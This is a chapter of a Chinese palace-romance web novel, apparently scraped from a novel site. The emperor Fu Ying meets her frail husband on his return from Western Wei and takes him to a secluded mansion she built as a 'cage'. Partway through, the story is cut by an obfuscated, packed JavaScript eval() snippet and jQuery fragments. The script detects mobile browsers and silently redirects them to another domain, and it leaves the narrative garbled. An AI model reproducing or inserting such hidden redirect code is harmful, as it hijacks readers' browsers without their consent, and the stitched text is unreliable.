148. 第 148 章

对于傅缨的不靠谱,傅念迟早深有体会,待她远去,自己便独自前去寿仁宫。


宫纯恰好此时也赶了过去。


“祖母~”傅念迟亲切的扑进了宫纯的怀里。


“你这孩子,好生走路。”宫纯宠溺的点了点他的脑袋,祖孙二人朝着殿内走去。


梁太后正辅佐着小诗处理账本,见人到了便吩咐着自己身边的嬷嬷。


“去传膳。”


“是。”


“殿下安好,娘娘安好。”解语涵起身行着礼。


“小诗,你瞧,上次你让我找的那本棋谱,我可是废了九牛二虎之力才找到的。”傅念迟上前邀功。


解语涵见二位长辈在场也不好过于回应,只好笑着将东西接过来放在了书桌上。


梁太后瞅了瞅门口,问道:“念迟,你母亲她没过来吗?”


“阿爹从西魏回来了,母亲得了消息便出宫了。”傅念迟十分不满的控诉着。


“我也想去迎接阿爹,但是母亲不让我出宫,皇祖母,祖母,你们可得为孙儿做主啊。”说着还假意抹了把眼泪,一旁的解语涵见他这副模样,垂下脑袋悄悄笑着。


“好了好了,多大的事,等你母亲回来了我们自会替你说上几句,很快你便能去看望你阿爹了。”梁太后一见傅念迟撒娇便心生一软,连连应了下来。


“你这孩子,惯会撒娇的,姐姐你可莫要宠坏他了。”宫纯宠溺的摇了摇头,打趣着。


“殿下不要伤心了,想必圣人也定是十分牵挂你的。”解语涵也跟着安慰着。


很快便传膳过来了,几人便落了座,天色渐渐晚去,傅缨的心越发的紧张起来。


“灼华快看看,朕的衣服乱没乱?”


“圣上,你都问属下十三遍了,衣裳和发冠都很整齐,圣上莫要担忧。”


“那、那朕看上去可有疲态?可有精神气?免得觅得看到会担心。”


“圣上生龙活虎,面色红润,十分健康呢。”


“那便好,那便好。”傅缨总算停歇了下来不再过问灼华。


秦家回来的马车尚在城外还未进来,傅缨便率领一支禁军守在城门口,等候多时,待车队靠近,傅缨笑着令人将人拦了下来。


“圣人归,圣上特意亲迎。”荣安谄媚的朝着秦家的马车而去,高声呼喊着。


随后傅缨主动下了马车,也朝着马车走去,鞠了一躬。


“傅缨打扰两位长辈了,只是许久未见觅得,心中实在牵挂不已,这才提前赶过来了。”说着傅缨伸出手掌,朝着帘子内道:“出来吧,觅得。”


马车内,阮念初眉头微蹙,正准备下去回绝,见秦承时笑着摇了摇头道:“三婶婶,我出去便是,不碍事的。”


“可你这样子真能见她吗?”阮念初担忧不已,她知晓傅缨视秦承时十分宝贵,若是知晓他瞒着自己为求医治病,将自己变成这般瘦骨嶙峋的模样,定会发狂不已。


“三婶婶,你忘了临别前东方神医特意叮嘱的话吗?觅得心中有数。”


“那好吧,左右你三叔现在不在,否则定要叫他快马加鞭去把你大伯请来,不然一会若是圣上发起疯来,我这身子可拦不住的。”阮念初一边念着一边替秦承时披上了一件薄薄的外套。


“觅得,你不想见我吗?”马车外的傅缨不断重复着问话,一副见不到人便不罢休的模样。


“来了。”秦承时应了句,缓缓掀开帘子。


“觅……”傅缨心中正欢喜不已,却发现眼前之人竟瘦的不成模样,眼中充满疲倦。


“觅得,觅得你怎么消瘦了这么多,是西魏那边苛责你了吗?”傅缨握着秦承时的双手,不停的打量着对方,又抚摸着他的脸庞,眼中充满了危险与自责。


“圣上多虑了,觅得亦是我的侄儿,是西魏的贵客,我们自然不会亏待他。”阮念初站了出来回怼着。


傅缨红着眼,指了指秦承时消瘦的脸庞,略带怨恨道:“不过大半年的日子,他便瘦成这副模样,秦二夫人,你们西魏还当真是会照顾人。”


“阿缨,不得对三婶无礼。”秦承时轻声呵斥着傅缨,随后开口解释道:“路上病情反复,是我自己身子不争气,脾胃受损,吃什么也无济于补,三婶婶她们待我很好,不曾亏待一点。”


傅缨闻言连忙安慰着:“没关系的,觅得,有我在,我会为你寻遍天下名厨,一定替你养好脾胃,你好好休息着。”说着,傅缨令禁军将马车牵了过来,示意秦承时上去。


“圣上,觅得刚回来,理应回秦府向家人报声平安,你这中途拦人是想作甚?”阮念初想要拦住,却被傅缨回怼了过去。


“秦二夫人,我敬你是觅得长辈,方才言语多有得罪,现下向你道歉,但觅得也是朕的夫君,他现在很虚弱,朕必须时刻看着他。”傅缨拦在阮念初和秦承时中间,不容拒绝。


“至于秦府,朕自会派人向秦伯父他们报平安,还请秦二夫人谅解。”说罢她便将秦承时推上了马车。


独留阮念初在原地不停嘟囔着。


“真要命了,这两个家伙,可莫要再生出事来啊。”


另一边的马车上,秦承时掀开帘子望向外面,有些疑惑。


“阿缨,你这是带我去哪?”秦承时发现这并非去秦家的方向,也并非回皇宫的路。


“觅得,你不在的这大半年来,我将奉国有名的圣医皆召集过来了,天下名贵药材应有尽有,来年即便不去上家冢,冬日也不用怕旧疾复发了。”


“所以你要带我去哪儿?”


“觅得,从今以后,我再也不会让你离开我了,没有人可以把你从我身边夺走,江山我要,你,也是我的。”


秦承时见傅缨紧紧将自己攥着,叹了口气,安抚着:“我不会走的,所以,你这是准备把我带去哪里?”


“我们的家。”傅缨回过头来,笑的格外灿烂,秦承时从她的眼中仿佛看到了一份执念。</


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883693|142966||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


p>


“觅得,所以为什么去了这么久,也不愿主动联系我。”


“你不是让顷风一直跟着我们的吗?”


“原来你都知道。”


秦承时不敢说出事实,甚至他能重新站在她的面前,也是来之不易,当初他们好不容易寻到东方神医,却发现治疗三个月后效果仍然不佳,甚至还产生有其他诱发病,这才不得已耽误了许久,为此,他甚至将顷风也苦苦瞒着。


“觅得,顷风说你在西魏好像一直在找一个人。”傅缨试探性问道,她虽好奇那人究竟是谁,但奈何顷风在西魏的行动受限,并未探查到有用信息。


“嗯嗯,是一位江湖神医,或许能够对我的病情有帮助。”


“那为何不告诉我,当初、当初或许我便不会和你使性子,或许、或许我就能陪……”


“我这不好好的站在你面前了吗,阿缨,我不希望你为了我那样做。”秦承时打断了傅缨的后话。


“那、那位神医可有寻到,他可有法子能治好你?”傅缨关切道。


“嗯嗯,我如今回来一趟,觉得身子好多了。”秦承时最终还是选择瞒了下来,他早是绝症之躯,世间恐无人能将其医治好,就连那位神秘莫测的东方神医,用尽毕生所学,也只是为其多续了几年命数罢了。


“那便好,那便好。”傅缨牵着秦承时的手,不断碎碎念着,马车不一会儿便停了下来,傅缨跳了下来,而后将秦承时迎了下来。


从前秦承时自知时日无多,便始终不愿日后入宫,任凭傅缨如何哀求也自始至终都没有答应,于他而言,那里的每一片红砖绿瓦都像是砌起的牢笼。


在那里生活的她不快乐也不自由,不得已步步为谋,权利就像一把利刃斩断了她骄傲的双翅,权谋就像一副枷锁拴住了她向往自由的双腿。


而后更是不愿在关键时期让傅缨分心,便想着独自离开奉国去寻一线生机,却没成想,在傅缨眼中成了他一心想要逃离自己,去安度最后的岁月。


于是再见到秦承时后,傅缨再也难耐心中的思念,引诱其至此处,誓要将其彻底绑在自己身边,永生永世永不分离。


兰馨苑址有一处隐秘的宅子,与皇宫相隔不远,远瞧过去好似经久未修给荒败了下来,细瞧便觉得别有一番天地,里面天南地北的珍奇玩意应有尽有,宅子的主人许是喜静,平日更是极少见有人前来拜访。


那是离皇宫最近的宅子,亦是傅缨送给秦承时的‘牢笼’,也是她最偏执,最汹涌的爱意。


望着那块牌匾,秦承时身子朝后退了半步,心中震惊不已,半晌都未缓过来,当初他以为傅缨不过是随口一言,没想到她竟真的生出了囚禁自己的想法。


“觅得,欢迎回家。”身后傅缨的话充满着蛊惑,令人心生别样感觉。


秦承时回头望去,见心心念念的爱人正眉眼如笑的看着自己,心中的异样很快便消散了,若是傅缨执意以情为牢笼,那么他此生甘成囚徒。